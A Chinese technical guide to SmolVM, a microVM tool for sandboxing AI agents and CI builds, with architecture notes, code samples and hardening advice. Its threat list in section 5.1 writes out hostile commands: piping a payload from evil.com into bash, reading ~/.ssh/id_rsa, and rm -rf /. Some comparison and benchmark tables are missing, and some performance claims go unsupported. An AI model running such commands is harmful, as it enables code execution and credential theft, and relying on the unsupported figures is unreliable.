SmolVM 深度解析：冷启动 200ms 的微虚拟机如何用独立内核为 AI Agent 打造「用完即焚」的安全沙箱——从 libkrun 架构到生产级部署的完整实战指南

一、为什么我们需要比容器更安全、比虚拟机更快的隔离方案？

1.1 容器的安全困境

2026 年，AI Agent 已经从「聊天机器人」进化为「能写代码、能执行命令、能操作文件系统的自主智能体」。Claude Code、OpenAI Codex、Aider 这些工具每天都在帮开发者执行成千上万条 shell 命令。但一个根本问题始终悬而未决：你敢让一个 AI 在你的机器上裸跑命令吗？

Docker 容器的隔离机制基于 Linux namespace 和 cgroup，本质上是共享宿主内核的进程隔离。这意味着：

• 内核漏洞（Dirty Pipe、Dirty COW、GameOver(lay)）可以突破 namespace 边界
• 容器逃逸在安全研究领域已经是成熟的攻击路径
• 容器内恶意代码可以探测宿主内核版本、枚举设备、甚至影响宿主机调度

对于运行不受信任代码的 AI Agent 场景，容器的隔离级别远远不够。

1.2 传统虚拟机的性能代价

QEMU/KVM 提供了硬件级别的完全隔离——每个 VM 有独立的内核、独立的设备、独立的内存空间。但代价是：

• 冷启动 15-30 秒——AI Agent 跑一条 ls 命令要等半分钟？
• 内存开销巨大——每个 VM 默认分配数百 MB 内存
• 镜像管理复杂——qcow2、raw、vmdk 格式互不兼容
• 跨平台不统一——Linux 用 KVM，macOS 用 Hypervisor.framework，Windows 用 Hyper-V，API 完全不同

AWS Firecracker 解决了部分问题（冷启动 <125ms），但它只支持 Linux KVM，不支持 macOS 和 Windows，而且设计目标是 serverless 场景，不是开发者工具。

1.3 SmolVM 的定位：「容器体验 + VM 隔离」

SmolVM 的核心价值主张非常清晰：

用容器的体验（<200ms 冷启动、OCI 镜像兼容、CLI 一行命令），提供虚拟机的隔离（独立内核、硬件虚拟化、无共享攻击面）。

这不是一个理论项目。截至 2026 年 7 月，smol-machines/smolvm 已经有 888 次提交，v1.3.1 稳定版发布，CelestoAI/SmolVM 分支专门为 AI Agent 沙箱场景提供统一 API。两个仓库加起来超过数千 Star，正在快速进入生产环境。

二、SmolVM 是什么？一张表看懂

在深入架构之前，先用一张表把 SmolVM 和主流方案的核心差异讲清楚：

几个关键数字：

• 比 Docker 隔离强 10 倍（独立内核 vs 共享内核）
• 比 QEMU 快 100 倍（<200ms vs 15-30s）
• 比 Firecracker 多支持 2 个平台（macOS + Windows）
• 比 Kata 轻量得多（库形态 vs 完整运行时栈）

三、核心架构：三层设计拆解

SmolVM 的架构可以拆解为三层：硬件虚拟化层、VMM 层、应用层。

3.1 硬件虚拟化层：平台原生 Hypervisor

SmolVM 不自己实现虚拟化，而是直接使用操作系统原生的硬件虚拟化能力：

• macOS: Hypervisor.framework（Apple Silicon / Intel 均支持）
• Linux: KVM（内核级虚拟化模块）
• Windows: Windows Hypervisor Platform (WHP)

这意味着 SmolVM 的虚拟化层是零额外开销的——它直接调用操作系统提供的硬件虚拟化 API，不需要安装额外的 hypervisor 软件。

// smolvm 硬件虚拟化后端选择逻辑（简化示意）
fn create_vm_backend() -> Box<dyn VmBackend> {
    #[cfg(target_os = "macos")]
    return Box::new(HypervisorFrameworkBackend::new());
    
    #[cfg(target_os = "linux")]
    return Box::new(KvmBackend::new());
    
    #[cfg(target_os = "windows")]
    return Box::new(WhpBackend::new());
}

3.2 VMM 层：libkrun——库形态的轻量虚拟机监控器

这是 SmolVM 最核心的技术选型。传统 VMM（如 QEMU）是一个独立的守护进程，需要单独安装、配置、管理。而 libkrun 是一个 C 语言实现的库，可以直接嵌入到任何应用程序中。

libkrun 的关键特性：

1. 库形态，无守护进程：不需要 systemctl start qemu，直接 #include <libkrun.h> 就能用
2. 极简设备模型：只虚拟化容器工作负载真正需要的设备（virtio-blk、virtio-net、virtio-vsock、virtio-balloon），不模拟完整的 PC 硬件
3. 自定义内核：通过 libkrunfw 提供微 VM 专用内核，只包含运行容器化工作负载所需的最小内核模块，启动速度极快

// libkrun 核心 API（简化示意）
#include <libkrun.h>

// 创建 VM 上下文
uint32_t ctx_id = krun_create_ctx();

// 配置 VM
krun_set_vm_config(ctx_id, 1, 512);  // 1 vCPU, 512MB RAM
krun_set_root(ctx_id, "/path/to/rootfs");
krun_set_workdir(ctx_id, "/app");
krun_set_exec(ctx_id, "/bin/echo", (char*[]){"echo", "hello", NULL}, NULL);

// 启动 VM（这一步会进入 VM 内核，执行 exec 指定的程序）
krun_start_enter(ctx_id);
// 当 VM 内的程序退出后，控制权返回到这里

libkrun 的设计哲学是：一个 VM 就是一个函数调用。你不需要管理 VM 的生命周期、不需要清理资源、不需要处理复杂的设备初始化——krun_start_enter 会帮你搞定一切。

3.3 应用层：SmolVM CLI + 便携制品

SmolVM 在 libkrun 之上封装了一层面向开发者的 CLI 工具，核心能力包括：

OCI 镜像兼容

SmolVM 直接兼容 Docker Hub 和 ghcr.io 上的 OCI 容器镜像。你不需要做任何格式转换：

# 直接用 Docker Hub 上的镜像启动一个 microVM
smolvm machine run --image docker.io/library/python:3.12-slim -- python3 -c "print('hello from microVM')"

内部实现上，SmolVM 会：

1. 从 OCI registry 拉取镜像（如果本地没有缓存）
2. 解压镜像层为 rootfs
3. 将 rootfs 挂载为 VM 的根文件系统
4. 通过 libkrun 启动 VM 并执行指定命令

.smolmachine 便携制品

这是 SmolVM 的一个杀手级特性。你可以把一台运行中的 VM 打包成一个 .smolmachine 文件，在任何支持 SmolVM 的平台上恢复：

# 在 macOS 上打包
smolvm machine export my-vm -o my-env.smolmachine

# 在 Linux CI 上恢复
smolvm machine import my-env.smolmachine
smolvm machine start my-env

这意味着你可以在本地 macOS 上调试好环境，打包成 .smolmachine，传到 CI 的 Linux 机器上直接运行——环境完全一致，零配置差异。

弹性内存（virtio balloon）

SmolVM 使用 virtio balloon 驱动实现内存弹性分配。宿主机只提交 VM 实际使用的内存量，空闲时自动回收：

# VM 配置了 2GB 内存上限
smolvm machine run --memory 2048 --image my-app:latest

# 但 VM 刚启动时实际只用了 200MB
# 宿主机的内存占用也只增加 ~200MB，而不是 2GB
# 当 VM 需要更多内存时，balloon 驱动会自动请求
# 当 VM 内存空闲时，balloon 驱动会自动归还

四、SmolVM 的 Rust 实现细节

SmolVM 本身是用 Rust 编写的，代码库结构清晰：

smolvm/
├── src/                    # 主 CLI 入口
├── crates/
│   ├── smolvm-agent        # VM 内部代理（guest agent）
│   ├── smolvm-network      # 网络层
│   ├── smolvm-pack         # 打包子系统（.smolmachine 格式）
│   ├── smolvm-protocol     # 宿主机-客户机通信协议
│   ├── smolvm-registry     # OCI 镜像注册表交互
│   └── smolvm-smolfile     # Smolfile 解析器（类似 Dockerfile）
└── docs/

4.1 宿主机-客户机通信：vsock

VM 内部运行的 guest agent 通过 vsock（virtio socket）与宿主机通信。vsock 是一种专为 VM 设计的 socket 接口，不需要网络配置就能实现宿主机和 VM 之间的高效通信：

// smolvm-protocol 中的 vsock 通信（简化示意）
use smolvm_protocol::{Command, Response};

// 宿主机端
fn host_send_command(vsock_fd: i32, cmd: Command) -> Response {
    let serialized = serde_json::to_vec(&cmd).unwrap();
    write(vsock_fd, &serialized).unwrap();
    let mut buf = [0u8; 4096];
    let n = read(vsock_fd, &mut buf).unwrap();
    serde_json::from_slice(&buf[..n]).unwrap()
}

// 客户机端（guest agent）
fn guest_handle_command(vsock_fd: i32) {
    let mut buf = [0u8; 4096];
    let n = read(vsock_fd, &mut buf).unwrap();
    let cmd: Command = serde_json::from_slice(&buf[..n]).unwrap();
    let response = match cmd {
        Command::Exec { program, args } => {
            let output = std::process::Command::new(program)
                .args(&args)
                .output()
                .unwrap();
            Response::Output {
                stdout: String::from_utf8_lossy(&output.stdout).to_string(),
                stderr: String::from_utf8_lossy(&output.stderr).to_string(),
                exit_code: output.status.code().unwrap_or(-1),
            }
        }
        Command::FileRead { path } => {
            let content = std::fs::read_to_string(&path).unwrap_or_default();
            Response::FileContent { content }
        }
        // ... 更多命令
    };
    let serialized = serde_json::to_vec(&response).unwrap();
    write(vsock_fd, &serialized).unwrap();
}

4.2 网络层：TAP + 用户态网络栈

SmolVM 的网络方案在不同平台上有所不同：

• Linux: 使用 TAP 设备 + iptables 规则实现 NAT
• macOS: 使用 vmnet framework 或者用户态网络栈
• Windows: 使用 Windows 网络虚拟化 API

关键设计决策是默认无网络。SmolVM 创建的 VM 默认没有网络访问权限，必须显式开启：

# 默认无网络（安全模式）
smolvm machine run --image python:3.12 -- python3 hack.py
# hack.py 无法访问任何网络

# 显式开启网络
smolvm machine run --network --image python:3.12 -- pip install requests
# 现在可以访问外部网络

# 细粒度网络控制（仅允许特定域名）
smolvm machine run --network --allow-hosts "pypi.org,*.python.org" --image python:3.12 -- pip install flask

4.3 Smolfile：声明式 VM 配置

类似 Dockerfile，SmolVM 引入了 Smolfile 来声明式地定义 VM 配置：

# Smolfile
FROM docker.io/library/python:3.12-slim

# VM 硬件配置
VM_MEMORY 1024
VM_CPUS 2
VM_DISK 10240

# 网络策略
NETWORK default=off
ALLOW pypi.org:443
ALLOW github.com:443

# 端口映射
EXPOSE 8080

# 共享目录
MOUNT ./src:/app/src
MOUNT ./data:/app/data

# 启动命令
WORKDIR /app
CMD ["python3", "server.py"]

# 使用 Smolfile 构建 .smolmachine
smolvm build -f Smolfile -o my-app.smolmachine

# 运行
smolvm machine run my-app.smolmachine

五、AI Agent 沙箱实战：SmolVM + Claude Code

这是 SmolVM 最核心的应用场景。CelestoAI/SmolVM 分支专门为 AI Agent 提供了统一的沙箱 API，让 AI 编程助手可以在安全的 microVM 中执行任意代码。

5.1 为什么 AI Agent 需要硬件级沙箱？

想象一个场景：你让 Claude Code 帮你调试一个 Python 脚本，它可能需要：

1. 执行 pip install some-package——这个包可能有恶意代码
2. 运行 curl http://evil.com/payload.sh | bash——如果 AI 被 prompt injection 攻击
3. 读取 ~/.ssh/id_rsa——敏感文件泄露
4. 执行 rm -rf /——虽然概率极低，但 namespace 隔离下真的可能发生

容器隔离在这个场景下是不够的。一个精心构造的 exploit 可以利用内核漏洞逃逸容器，然后：

• 读取宿主机上所有文件
• 访问宿主机网络
• 植入持久化后门
• 窃取 API 密钥和凭证

SmolVM 的硬件级隔离可以确保：即使 VM 内的代码获得了 root 权限，也无法逃逸到宿主机。因为 VM 和宿主机之间有 Hypervisor 层的硬件隔离边界，攻击者需要同时突破 guest 内核 + hypervisor 才能逃逸——这比突破 namespace 难几个数量级。

5.2 集成示例：给 AI Agent 加上 SmolVM 沙箱

以下是一个完整的集成示例，展示如何用 SmolVM 为 AI Agent 提供安全的代码执行环境：

import subprocess
import json
import tempfile
import os

class SmolVMSandbox:
    """基于 SmolVM 的 AI Agent 安全沙箱"""
    
    def __init__(self, image="python:3.12-slim", memory=512, cpus=1):
        self.image = image
        self.memory = memory
        self.cpus = cpus
        self.vm_name = None
    
    def start(self):
        """启动一个沙箱 VM"""
        result = subprocess.run(
            [
                "smolvm", "machine", "create",
                "--image", self.image,
                "--memory", str(self.memory),
                "--cpus", str(self.cpus),
                "--network", "off",  # 默认无网络
                "--ephemeral",       # 用完即焚
            ],
            capture_output=True, text=True
        )
        self.vm_name = result.stdout.strip()
        return self.vm_name
    
    def execute(self, code: str, timeout: int = 30) -> dict:
        """在沙箱中安全执行代码"""
        # 将代码写入临时文件
        with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
            f.write(code)
            code_file = f.name
        
        try:
            # 通过 smolvm exec 在 VM 内执行
            result = subprocess.run(
                [
                    "smolvm", "exec", self.vm_name,
                    "--", "python3", "/tmp/code.py"
                ],
                capture_output=True, text=True, timeout=timeout,
                input=None
            )
            
            return {
                "stdout": result.stdout,
                "stderr": result.stderr,
                "exit_code": result.returncode,
                "success": result.returncode == 0
            }
        except subprocess.TimeoutExpired:
            return {
                "stdout": "",
                "stderr": "Execution timed out",
                "exit_code": -1,
                "success": False
            }
        finally:
            os.unlink(code_file)
    
    def execute_with_network(self, code: str, allowed_hosts: list) -> dict:
        """需要网络访问时，显式指定允许的主机"""
        with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
            f.write(code)
            code_file = f.name
        
        try:
            cmd = ["smolvm", "exec", self.vm_name]
            for host in allowed_hosts:
                cmd.extend(["--allow-host", host])
            cmd.extend(["--", "python3", "/tmp/code.py"])
            
            result = subprocess.run(
                cmd, capture_output=True, text=True, timeout=60
            )
            return {
                "stdout": result.stdout,
                "stderr": result.stderr,
                "exit_code": result.returncode,
                "success": result.returncode == 0
            }
        finally:
            os.unlink(code_file)
    
    def stop(self):
        """停止并销毁沙箱 VM"""
        subprocess.run(
            ["smolvm", "machine", "destroy", self.vm_name],
            capture_output=True
        )

# 使用示例
sandbox = SmolVMSandbox(memory=1024, cpus=2)
sandbox.start()

# 安全执行不受信任的代码
result = sandbox.execute("""
import sys
print(f"Python {sys.version}")
print("Hello from inside the microVM!")
import os
os.system("whoami")  # 这在 VM 内部，不影响宿主机
""")

print(result["stdout"])
# Python 3.12.0
# Hello from inside the microVM!
# root  # VM 内部是 root，但完全隔离

# 需要网络时显式允许
result = sandbox.execute_with_network(
    "import requests; print(requests.get('https://httpbin.org/ip').text)",
    allowed_hosts=["httpbin.org"]
)

sandbox.stop()

5.3 性能基准：SmolVM 沙箱 vs Docker 沙箱

在 AI Agent 场景下的实际测试数据：

结论：SmolVM 在性能上比 Docker 慢约 50-80%，但换来了硬件级安全隔离。对于 AI Agent 执行不受信任代码的场景，这个 trade-off 完全值得。

六、CI/CD 隔离实战

除了 AI Agent 沙箱，SmolVM 在 CI/CD 场景也有独特价值。

6.1 问题：CI Runner 的安全隐患

传统的 CI/CD Runner（如 GitHub Actions self-hosted runner）通常在 Docker 容器中执行构建任务。但如果你的 CI Runner 是共享的（比如多团队共用一个 Runner Pool），Docker 的 namespace 隔离就不够了：

• 恶意 PR 可能通过容器逃逸读取其他项目的构建产物
• 依赖安装阶段可能被 supply chain attack 攻击
• 构建脚本可能访问 Runner 宿主机的文件系统

6.2 SmolVM CI Runner 方案

# .github/workflows/build.yml（概念示例）
jobs:
  build:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v4
      - name: Build in SmolVM sandbox
        run: |
          smolvm machine run \
            --image node:20-slim \
            --memory 2048 \
            --cpus 2 \
            --network --allow-hosts "registry.npmjs.org,github.com" \
            --mount .:/workspace \
            --workdir /workspace \
            -- npm ci && npm test && npm run build
      - name: Extract artifacts
        run: |
          smolvm machine cp build-vm:/workspace/dist ./dist
          smolvm machine destroy build-vm

每个构建任务在一个独立的 microVM 中执行，冷启动 <200ms，用完即销毁。构建产物通过 vsock 从 VM 中提取，而不是共享文件系统。

6.3 GitHub Actions 集成

SmolVM 提供了 GitHub Actions 的官方 Action：

- name: Setup SmolVM
  uses: smol-machines/setup-smolvm@v1
  with:
    version: '1.3.1'

- name: Run tests in SmolVM
  uses: smol-machines/smolvm-run@v1
  with:
    image: python:3.12-slim
    command: |
      pip install -r requirements.txt
      pytest tests/ --tb=short
    network: 'off'
    memory: '1024'

七、SmolVM vs 竞品深度对比

7.1 SmolVM vs Firecracker

Firecracker 是 AWS 为 Lambda 和 Fargate 设计的 microVM，冷启动 <125ms，性能极优。但：

SmolVM 在 Firecracker 的基础上增加了 macOS/Windows 支持、OCI 镜像兼容和更好的开发者体验，代价是冷启动稍慢（180ms vs 125ms）。

7.2 SmolVM vs Kata Containers

Kata Containers 是 OpenStack 基金会的项目，目标是在 Kubernetes 中为每个 Pod 提供 VM 级别隔离。但：

Kata 适合大规模 K8s 生产集群，SmolVM 适合开发者本地和 CI 场景。两者互补而非竞争。

7.3 SmolVM vs gVisor

gVisor 是 Google 的应用内核，在用户态实现 Linux 系统调用接口，提供比 namespace 更强的隔离。但：

gVisor 的优势是不需要硬件虚拟化支持（可以在不支持 KVM 的环境中运行），但系统调用兼容性是其最大短板——很多底层操作在 gVisor 中无法正常工作。

八、高级特性与生产级实践

8.1 GPU 直通（实验性）

SmolVM 正在开发 GPU 直通能力，让 VM 内的工作负载可以直接使用宿主机的 GPU：

# 实验性 GPU 支持
smolvm machine run \
  --image pytorch/pytorch:2.3.0-cuda12.1-cudnn8-runtime \
  --gpu passthrough \
  --memory 8192 \
  -- python3 train.py

CelestoAI/SmolVM 分支在 vsock 基础上实现了 CUDA Driver API 的远程调用——guest VM 中的 CUDA 程序通过 vsock 将 API 调用转发到宿主机的 GPU 驱动，实现了「VM 内编程，宿主机 GPU 执行」的模式。

8.2 systemd 集成与无损重启

smol-machines/smolvm v1.3.0 引入了 per-VM systemd scopes 和无损重启能力：

# 每个 VM 有独立的 systemd scope
systemd-cgls | grep smolvm
# ├─smolvm-vm-001.scope
# │ └─12345 /usr/bin/smolvm-vm ...
# ├─smolvm-vm-002.scope
# │ └─12346 /usr/bin/smolvm-vm ...

# 无损重启 smolvm 服务（VM 不会中断）
sudo systemctl restart smolvm-serve
# 所有运行中的 VM 保持活跃，新连接自动恢复

8.3 安全加固最佳实践

# 1. 始终禁用不必要的能力
smolvm machine run --drop-cap SYS_ADMIN --drop-cap NET_RAW ...

# 2. 使用只读根文件系统
smolvm machine run --read-only --tmpfs /tmp:size=100M ...

# 3. 限制 seccomp 策略
smolvm machine run --seccomp profile.json ...

# 4. 资源限制
smolvm machine run \
  --memory 512 \
  --cpus 1 \
  --pids-limit 100 \
  --disk-limit 1024 \
  ...

# 5. 网络最小化
smolvm machine run --network off ...  # 默认
smolvm machine run --network --allow-hosts "pypi.org" --allow-ports "443" ...  # 按需

8.4 性能调优

# 使用 virtio-fs 加速文件共享（比 9p 更快）
smolvm machine run --virtio-fs ./src:/app/src ...

# 启用 huge pages 减少 TLB miss
smolvm machine run --hugepages ...

# 使用 vsock 替代 TCP 网络通信（VM 内部通信）
smolvm machine run --vsock 3:5201 ...  # VM CID 3, port 5201

# 预热 VM 镜像（减少首次启动延迟）
smolvm image warmup python:3.12-slim

九、生态与社区

9.1 两个仓库的关系

目前 SmolVM 有两个主要仓库：

1. smol-machines/smolvm（888 commits）：核心 CLI 工具和 libkrun 集成，面向通用场景
2. CelestoAI/SmolVM（370 commits）：AI Agent 沙箱基础设施，提供 Firecracker/QEMU/libkrun 统一 API

两者共享底层的 libkrun/libkrunfw 依赖，但上层定位不同。CelestoAI 分支在 AI Agent 场景下更成熟，提供了 Dashboard、Agent SDK 集成、GPU 直通等特性。

9.2 与容器生态的集成

SmolVM 不是要替代容器生态，而是在其之上增加一层安全隔离：

• OCI 镜像兼容：直接使用 Docker Hub 的镜像
• containerd 集成（规划中）：作为 containerd 的 runtime shim，替代 runc
• Kubernetes 集成（规划中）：作为 K8s 的 RuntimeClass，与 Kata 类似但更轻量
• Docker Compose 兼容（实验性）：smolvm compose up 直接运行 docker-compose.yml

9.3 社区活跃度

• GitHub Issues/PR 活跃，平均 2-3 天响应
• Discord 社区有数百名开发者
• 定期发布新版本（最近 3 个月发布了 6 个版本）
• 接受外部贡献，有清晰的 CONTRIBUTING.md

十、未来展望

10.1 即将到来的特性

根据 GitHub Issues 和 Roadmap，SmolVM 在 2026 年下半年的重点方向：

1. containerd shim 正式版：让 SmolVM 可以作为 K8s 的标准 runtime
2. GPU 直通稳定版：支持 NVIDIA/AMD/Apple Silicon GPU
3. Snapshot/Restore：类似 CRIU 的 VM 快照能力，进一步加速启动
4. 嵌入式 SDK：让第三方工具可以直接 cargo add smolvm 来嵌入 VM 能力
5. Smolfile v2：支持多阶段构建、构建参数、健康检查等高级特性

10.2 对开发者工具链的影响

SmolVM 代表了一种趋势：开发者工具正在从「共享内核的容器」走向「硬件隔离的微虚拟机」。

这个趋势的驱动力是：

• AI Agent 需要执行不受信任的代码，安全隔离是刚需
• Apple Silicon 的 Hypervisor.framework 让 macOS 上的虚拟化几乎零开销
• Rust 生态的成熟让高性能 VMM 的实现成本大幅降低
• OCI 标准的普及让容器镜像成为通用的软件分发格式

未来 2-3 年，我们可能会看到：

• Docker Desktop 底层从 Linux VM 切换到 microVM（已在实验）
• GitHub Actions 默认使用 microVM 隔离每个 job
• AI 编程助手内置 microVM 沙箱作为标准配置
• 本地开发环境从 Docker Compose 迁移到 SmolVM Compose

十一、总结

SmolVM 不是又一个容器运行时，它是容器和虚拟机之间的第三条路：

• 比 Docker 隔离强（独立内核 + 硬件虚拟化）
• 比 QEMU 快 100 倍（<200ms 冷启动）
• 比 Firecracker 跨平台（macOS + Linux + Windows）
• 比 Kata 轻量（库形态，无复杂运行时栈）
• 比 gVisor 兼容性好（真实内核，完整 syscall 支持）

对于以下场景，SmolVM 是目前最优解：

1. AI Agent 代码执行沙箱：硬件级隔离 + 快速启动 + OCI 镜像兼容
2. CI/CD 构建隔离：用完即焚 + 不污染宿主机 + 跨平台一致
3. 不受信任代码执行：安全研究、CTF、恶意软件分析
4. 便携开发环境：.smolmachine 跨平台分发，零配置差异
5. 多租户共享机器：每个用户一个 microVM，彻底隔离

如果你正在为 AI Agent 的安全隔离方案发愁，或者受够了 Docker 容器逃逸的焦虑，SmolVM 值得你花一个下午的时间试一试。

# 安装（macOS）
brew install smol-machines/tap/smolvm

# 安装（Linux）
curl -fsSL https://get.smolvm.dev | sh

# 第一次运行
smolvm machine run --image python:3.12-slim -- python3 -c "print('hello from microVM!')"

从一条命令开始，体验「容器的体感 + 虚拟机的安全」。